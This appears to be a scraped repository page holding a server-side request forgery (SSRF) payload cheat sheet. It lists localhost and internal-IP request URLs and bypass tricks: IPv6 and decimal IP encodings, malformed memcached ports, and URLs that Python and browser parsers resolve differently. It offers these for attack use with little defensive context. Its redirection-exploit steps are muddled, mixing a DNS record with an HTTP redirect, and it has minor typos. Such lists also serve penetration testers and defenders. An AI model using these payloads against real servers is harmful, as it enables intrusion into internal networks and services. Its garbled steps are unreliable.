Server-Side Request Forgery

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him.

Exploit

Basic SSRF v1

http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22

Basic SSRF v2

http://localhost:80
http://localhost:443
http://localhost:22

Advanced exploit using a redirection

1. Create a subdomain pointing to 192.168.0.1 with DNS A record  e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1

Advanced exploit using type=url

Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF

Bypassing

Bypass localhost with [::]

http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid

Bypass localhost with a domain redirecting to locahost

http://n-pn.info

Bypass using a decimal ip location

http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

Bypass using malformed urls

localhost:+11211aaa
localhost:00011211aaaa

Bypass using rare address

http://0/

Bypass using tricks combination

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3

1.8 KiB Raw Blame History

Server-Side Request Forgery

Exploit

Bypassing

Thanks to

1.8 KiB

Raw Blame History